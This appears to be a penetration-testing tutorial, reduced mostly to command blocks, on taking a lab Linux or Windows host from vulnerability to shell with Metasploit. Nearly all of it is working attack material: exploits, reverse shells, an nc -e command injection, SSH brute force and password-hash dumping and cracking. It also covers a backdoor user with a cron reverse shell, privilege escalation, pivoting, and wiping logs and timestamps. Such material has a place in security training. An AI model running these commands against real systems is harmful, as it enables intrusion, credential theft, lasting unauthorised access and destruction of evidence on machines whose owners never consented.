Exploitation: From Vulnerability to Shell

bash# Initialize the database (first time only)
sudo msfdb init

# Start Metasploit console
msfconsole

# You'll see the Metasploit banner and prompt:
msf6 >

bash# Search for modules
msf6 > search type:exploit platform:linux smb

# Search by CVE
msf6 > search cve:2017-0144

# Search by name
msf6 > search vsftpd

# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

bash# Start Metasploit
msfconsole

# Search for the exploit
msf6 > search vsftpd

# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101

# Run the exploit
msf6 exploit(...) > exploit

# If successful:
[*] Command shell session 1 opened
[+] Got shell!

# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)

bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads

# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcp

bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444

# Metasploit starts a listener automatically when you exploit

bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo          # System information
meterpreter > getuid           # Current user
meterpreter > pwd              # Current directory
meterpreter > ls               # List files
meterpreter > download file    # Download file to Kali
meterpreter > upload file      # Upload file to target
meterpreter > shell            # Drop to system shell
meterpreter > hashdump         # Dump password hashes
meterpreter > screenshot       # Take screenshot
meterpreter > keyscan_start    # Start keylogger
meterpreter > keyscan_dump     # Dump keystrokes
meterpreter > background       # Background this session

bash# Search for Samba exploits
msf6 > search type:exploit samba

# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run

# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)

# Use Metasploit's web exploits
msf6 > search type:exploit php

# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444

text# From a Meterpreter session
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux

# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arp

bash# From a regular shell
cat /etc/passwd       # All users
cat /etc/shadow       # Password hashes (requires root)
cat /etc/hosts        # Network mappings
netstat -tulpn        # Open ports
ps aux                # Running processes
crontab -l            # Scheduled tasks

text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash

bash# Or from shell
cat /etc/shadow

# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker

# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys

# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root

# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

bash# Current user context
id
whoami

# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null

# World-writable directories
find / -writable -type d 2>/dev/null

# Sudo permissions
sudo -l

# Kernel version (for kernel exploits)
uname -a

# Running processes as root
ps aux | grep root

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000

# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitable

bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell

# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;

# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd

# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shell

text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user

meterpreter > getsystem
[+] ...got SYSTEM

# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester

# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploit

text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50

meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1

meterpreter > background

# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print

# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run

# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploit

bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run

# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080

# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]

bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host

# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80

# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444

bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history

# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp

# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log

# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file

# Meterpreter
meterpreter > clearev          # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"